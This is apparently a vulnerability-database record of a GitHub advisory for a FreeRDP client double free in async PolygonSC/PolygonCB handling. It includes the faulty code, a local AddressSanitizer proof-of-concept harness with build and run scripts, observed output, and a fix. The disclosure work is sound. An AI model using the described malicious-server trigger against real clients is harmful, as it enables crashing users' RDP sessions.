{"schema":"threatline.record/2","record":{"id":"GHSA-pg3f-chj4-mrw6","aliases":["GHSA-pg3f-chj4-mrw6"],"summary":"Async PolygonSC and PolygonCB zero-point updates cause a client double free","details":"### Summary\r\n\r\nWhen a FreeRDP client enables the optional `+async-update` mode and connects to a malicious or compromised RDP server, the server can send a point-bearing `PolygonSC` or `PolygonCB` order followed by an order that sets the point count to zero without supplying new point data. The parser retains the point-array pointer from the first order. The async message proxy shallow-copies that pointer into the zero-point queue message because its deep copy is conditional on `numPoints > 0`. The queue consumer then frees the parser-owned pointer, and parser reset or final cleanup frees it again.\r\n\r\nI reproduced both order types against current `master` using the production parser, proxy-copy, queue, and message-destructor functions under AddressSanitizer. Both zero-count cases reported a double free; matched nonzero-count controls showed an independent queue allocation and completed cleanly. The demonstrated impact is a client crash. I did not demonstrate remote code execution, confidentiality impact, or integrity impact.\r\n\r\n`AsyncUpdate` is disabled by default. The attack requires the user or deployment to enable it and connect to the malicious or compromised server. No server-side account is required after the client connects.\r\n\r\nThe root cause is present in 3.29.0, 3.30.0, 3.31.0, 3.31.1, and current `master`. It was introduced by commit `d0bf57c7`. No fixed release or exact public duplicate is known.\r\n\r\nThe decisive `PolygonSC` proxy code in `libfreerdp/core/message.c` is:\r\n\r\n```c\r\n*wParam = *polygonSC;\r\nif (polygonSC->numPoints > 0)\r\n{\r\n\twParam->points = (DELTA_POINT*)calloc(polygonSC->numPoints, sizeof(DELTA_POINT));\r\n\r\n\tif (!wParam->points)\r\n\t{\r\n\t\tfree(wParam);\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\tCopyMemory(wParam->points, polygonSC->points, sizeof(DELTA_POINT) * wParam->numPoints);\r\n}\r\n```\r\n\r\n`PolygonCB` has the same pattern. On the zero-count path, the copied `points` member is still the parser's allocation. `update_message_free_primary_update_class` unconditionally frees it:\r\n\r\n```c\r\ncase PrimaryUpdate_PolygonSC:\r\n\t{\r\n\t\tPOLYGON_SC_ORDER* wParam = (POLYGON_SC_ORDER*)msg->wParam;\r\n\t\tfree(wParam->points);\r\n\t\tfree(wParam);\r\n\t}\r\nbreak;\r\ncase PrimaryUpdate_PolygonCB:\r\n\t{\r\n\t\tPOLYGON_CB_ORDER* wParam = (POLYGON_CB_ORDER*)msg->wParam;\r\n\t\tfree(wParam->points);\r\n\t\tfree(wParam);\r\n\t}\r\nbreak;\r\n```\r\n\r\n`update_reset_state` and `update_free` later free the parser's `polygon_sc.points` and `polygon_cb.points`. A later point-bearing order can instead pass the dangling pointer to `realloc` in `update_read_delta_points`. The PoC serializes message destruction and parser cleanup to demonstrate the ownership violation deterministically; it does not claim a reliable live-thread allocator exploit.\r\n\r\n### Reproduction\r\n\r\nThe sibling `poc/` directory contains a bounded AddressSanitizer reproducer. It uses a caller-provided FreeRDP source tree and matching CMake build, invokes the real parser and async message functions, and does not contact an RDP server or modify persistent data.\r\n\r\nFrom the disclosure directory, with source and build directories at the example relative paths:\r\n\r\n```sh\r\ncd poc\r\nFREERDP_SRC=../FreeRDP FREERDP_BUILD=../FreeRDP/build ./build.sh\r\nFREERDP_BUILD=../FreeRDP/build ./run.sh\r\n```\r\n\r\nIf dependency headers are outside the system include path, pass the necessary `-I` flags through `CPPFLAGS_EXTRA`.\r\n\r\nObserved on current `master`:\r\n\r\n```text\r\ncontrol-sc: clean control\r\nparsed PolygonSC numPoints=1\r\nqueued numPoints=1 alias=no\r\nqueued message freed; releasing parser-owned points\r\ncompleted without sanitizer finding\r\nparsed PolygonSC numPoints=0\r\nqueued numPoints=0 alias=yes\r\nqueued message freed; releasing parser-owned points\r\nattack-sc: AddressSanitizer double-free observed (exit 1)\r\ncontrol-cb: clean control\r\nparsed PolygonCB numPoints=1\r\nqueued numPoints=1 alias=no\r\nqueued message freed; releasing parser-owned points\r\ncompleted without sanitizer finding\r\nparsed PolygonCB numPoints=0\r\nqueued numPoints=0 alias=yes\r\nqueued message freed; releasing parser-owned points\r\nattack-cb: AddressSanitizer double-free observed (exit 1)\r\n```\r\n\r\n<!-- POC_FILES_BEGIN -->\r\n### `poc/build.sh`\r\n\r\n<!-- BEGIN FILE: poc/build.sh -->\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\n: \"${FREERDP_SRC:?Set FREERDP_SRC to the FreeRDP source directory}\"\r\n: \"${FREERDP_BUILD:?Set FREERDP_BUILD to the matching CMake build directory}\"\r\n\r\nBASE_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nSRC=$(CDPATH= cd -- \"$FREERDP_SRC\" && pwd)\r\nBUILD=$(CDPATH= cd -- \"$FREERDP_BUILD\" && pwd)\r\nOUT_DIR=${OUT_DIR:-\"$BASE_DIR/.build\"}\r\nCC=${CC:-cc}\r\nCPPFLAGS_EXTRA=${CPPFLAGS_EXTRA:-}\r\nLDFLAGS_EXTRA=${LDFLAGS_EXTRA:-}\r\n\r\nmkdir -p \"$OUT_DIR\"\r\n\r\n# The included files are the production parser and async message-proxy implementation.\r\n# shellcheck disable=SC2086\r\n\"$CC\" -std=gnu11 -DNDEBUG -g -O2 -fno-omit-frame-pointer \\\r\n\t-fsanitize=address,undefined -ffunction-sections -fdata-sections \\\r\n\t-Wno-error -Wno-unused-function -Wno-unused-variable \\\r\n\t-I\"$SRC\" -I\"$SRC/include\" -I\"$SRC/winpr/include\" \\\r\n\t-I\"$BUILD/include\" -I\"$BUILD/winpr/include\" $CPPFLAGS_EXTRA \\\r\n\t-o \"$OUT_DIR/polygon_zero_alias\" \"$BASE_DIR/polygon_zero_alias.c\" \\\r\n\t-fsanitize=address,undefined -Wl,--gc-sections \\\r\n\t-L\"$BUILD/winpr/libwinpr\" -Wl,-rpath,\"$BUILD/winpr/libwinpr\" \\\r\n\t-lwinpr3 -lm -lpthread -ldl $LDFLAGS_EXTRA\r\n\r\nprintf 'built %s\\n' \"$OUT_DIR/polygon_zero_alias\"\r\n```\r\n<!-- END FILE: poc/build.sh -->\r\n\r\n### `poc/polygon_zero_alias.c`\r\n\r\n<!-- BEGIN FILE: poc/polygon_zero_alias.c -->\r\n```c\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#include \"libfreerdp/core/orders.c\"\r\n#include \"libfreerdp/core/message.c\"\r\n\r\nstatic int run_case(BOOL zero_count, BOOL color_brush)\r\n{\r\n\trdpContext context = { 0 };\r\n\trdp_update_internal update = { 0 };\r\n\tORDER_INFO info = { 0 };\r\n\twMessage message = WINPR_C_ARRAY_INIT;\r\n\tBYTE wire_count = zero_count ? 0 : 1;\r\n\twStream stream = WINPR_C_ARRAY_INIT;\r\n\tDELTA_POINT* parser_points = NULL;\r\n\r\n\tupdate.common.context = &context;\r\n\tcontext.update = &update.common;\r\n\tupdate.queue = MessageQueue_New(NULL);\r\n\tif (!update.queue)\r\n\t\treturn 4;\r\n\r\n\tif (color_brush)\r\n\t{\r\n\t\tPOLYGON_CB_ORDER polygon = { 0 };\r\n\t\tpolygon.numPoints = 2;\r\n\t\tpolygon.points = calloc(polygon.numPoints, sizeof(DELTA_POINT));\r\n\t\tif (!polygon.points)\r\n\t\t\treturn 2;\r\n\t\tparser_points = polygon.points;\r\n\t\tinfo.fieldFlags = ORDER_FIELD_12;\r\n\t\tStream_StaticInit(&stream, &wire_count, sizeof(wire_count));\r\n\t\tif (!update_read_polygon_cb_order(\"PolygonCB\", &stream, &info, &polygon))\r\n\t\t\treturn 3;\r\n\t\tprintf(\"parsed PolygonCB numPoints=%\" PRIu32 \"\\n\", polygon.numPoints);\r\n\t\tif (!update_message_PolygonCB(&context, &polygon))\r\n\t\t\treturn 5;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tPOLYGON_SC_ORDER polygon = { 0 };\r\n\t\tpolygon.numPoints = 2;\r\n\t\tpolygon.points = calloc(polygon.numPoints, sizeof(DELTA_POINT));\r\n\t\tif (!polygon.points)\r\n\t\t\treturn 2;\r\n\t\tparser_points = polygon.points;\r\n\t\tinfo.fieldFlags = ORDER_FIELD_06;\r\n\t\tStream_StaticInit(&stream, &wire_count, sizeof(wire_count));\r\n\t\tif (!update_read_polygon_sc_order(\"PolygonSC\", &stream, &info, &polygon))\r\n\t\t\treturn 3;\r\n\t\tprintf(\"parsed PolygonSC numPoints=%\" PRIu32 \"\\n\", polygon.numPoints);\r\n\t\tif (!update_message_PolygonSC(&context, &polygon))\r\n\t\t\treturn 5;\r\n\t}\r\n\r\n\tif (!MessageQueue_Peek(update.queue, &message, TRUE))\r\n\t\treturn 6;\r\n\r\n\tif (color_brush)\r\n\t{\r\n\t\tPOLYGON_CB_ORDER* queued = message.wParam;\r\n\t\tprintf(\"queued numPoints=%\" PRIu32 \" alias=%s\\n\", queued->numPoints,\r\n\t\t       queued->points == parser_points ? \"yes\" : \"no\");\r\n\t\tif (!update_message_free_primary_update_class(&message, PrimaryUpdate_PolygonCB))\r\n\t\t\treturn 7;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tPOLYGON_SC_ORDER* queued = message.wParam;\r\n\t\tprintf(\"queued numPoints=%\" PRIu32 \" alias=%s\\n\", queued->numPoints,\r\n\t\t       queued->points == parser_points ? \"yes\" : \"no\");\r\n\t\tif (!update_message_free_primary_update_class(&message, PrimaryUpdate_PolygonSC))\r\n\t\t\treturn 7;\r\n\t}\r\n\r\n\tputs(\"queued message freed; releasing parser-owned points\");\r\n\tfflush(stdout);\r\n\tfree(parser_points);\r\n\tMessageQueue_Free(update.queue);\r\n\tputs(\"completed without sanitizer finding\");\r\n\treturn 0;\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif ((argc != 2) ||\r\n\t    ((strcmp(argv[1], \"control-sc\") != 0) && (strcmp(argv[1], \"attack-sc\") != 0) &&\r\n\t     (strcmp(argv[1], \"control-cb\") != 0) && (strcmp(argv[1], \"attack-cb\") != 0)))\r\n\t{\r\n\t\tfprintf(stderr, \"usage: %s control-sc|attack-sc|control-cb|attack-cb\\n\", argv[0]);\r\n\t\treturn 2;\r\n\t}\r\n\r\n\treturn run_case(strncmp(argv[1], \"attack\", 6) == 0, strstr(argv[1], \"-cb\") != NULL);\r\n}\r\n```\r\n<!-- END FILE: poc/polygon_zero_alias.c -->\r\n\r\n### `poc/run.sh`\r\n\r\n<!-- BEGIN FILE: poc/run.sh -->\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\n: \"${FREERDP_BUILD:?Set FREERDP_BUILD to the matching CMake build directory}\"\r\n\r\nBASE_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nBUILD=$(CDPATH= cd -- \"$FREERDP_BUILD\" && pwd)\r\nOUT_DIR=${OUT_DIR:-\"$BASE_DIR/.build\"}\r\nBIN=\"$OUT_DIR/polygon_zero_alias\"\r\n\r\nif [ ! -x \"$BIN\" ]; then\r\n\techo \"missing $BIN; run build.sh first\" >&2\r\n\texit 2\r\nfi\r\n\r\nexport LD_LIBRARY_PATH=\"$BUILD/winpr/libwinpr${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}\"\r\n\r\nrun_control()\r\n{\r\n\tmode=$1\r\n\tASAN_OPTIONS=detect_leaks=0:halt_on_error=1 \"$BIN\" \"$mode\" \\\r\n\t\t>\"$OUT_DIR/$mode.stdout\" 2>\"$OUT_DIR/$mode.stderr\"\r\n\tprintf '%s: clean control\\n' \"$mode\"\r\n\tcat \"$OUT_DIR/$mode.stdout\"\r\n}\r\n\r\nrun_attack()\r\n{\r\n\tmode=$1\r\n\tset +e\r\n\tASAN_OPTIONS=detect_leaks=0:halt_on_error=1 \"$BIN\" \"$mode\" \\\r\n\t\t>\"$OUT_DIR/$mode.stdout\" 2>\"$OUT_DIR/$mode.stderr\"\r\n\trc=$?\r\n\tset -e\r\n\tcat \"$OUT_DIR/$mode.stdout\"\r\n\tif [ \"$rc\" -eq 0 ] || ! grep -q 'attempting double-free' \"$OUT_DIR/$mode.stderr\"; then\r\n\t\techo \"$mode: expected AddressSanitizer double-free was not observed\" >&2\r\n\t\texit 1\r\n\tfi\r\n\tprintf '%s: AddressSanitizer double-free observed (exit %s)\\n' \"$mode\" \"$rc\"\r\n\tgrep -m 1 'ERROR: AddressSanitizer' \"$OUT_DIR/$mode.stderr\"\r\n}\r\n\r\nrun_control control-sc\r\nrun_attack attack-sc\r\nrun_control control-cb\r\nrun_attack attack-cb\r\n```\r\n<!-- END FILE: poc/run.sh -->\r\n<!-- POC_FILES_END -->\r\n\r\n### Remediation\r\n\r\nAfter shallow-copying each polygon order, set the queued message's `points` member to `NULL` before the conditional deep copy. This ensures a zero-point queue message owns no point buffer and prevents its destructor from freeing parser state. Apply the same change to `update_message_PolygonSC` and `update_message_PolygonCB`.\r\n\r\nAdd regression tests for both order types that retain an allocated parser point array, parse a zero count without point data, enqueue and destroy the message, and then reset the parser. Also retain a nonzero-count control that verifies the queue receives a distinct deep copy.\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-pg3f-chj4-mrw6","source_modified_at":"2026-09-29T06:39:24Z","fetched_at":"2026-10-25T05:59:55.871881Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.29.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-pg3f-chj4-mrw6","source_modified_at":"2026-09-29T06:39:24Z","fetched_at":"2026-10-25T05:59:55.871881Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T06:39:24Z","modified_at":"2026-09-29T06:39:24Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-pg3f-chj4-mrw6","fetched_at":"2026-10-25T05:59:55.871881Z","source_modified_at":"2026-09-29T06:39:24Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T06:39:24Z","content_hash":"575d90977d1eef72933d2899fbbb5f32860dcad25b2baf958eb514fff8148b31"}}
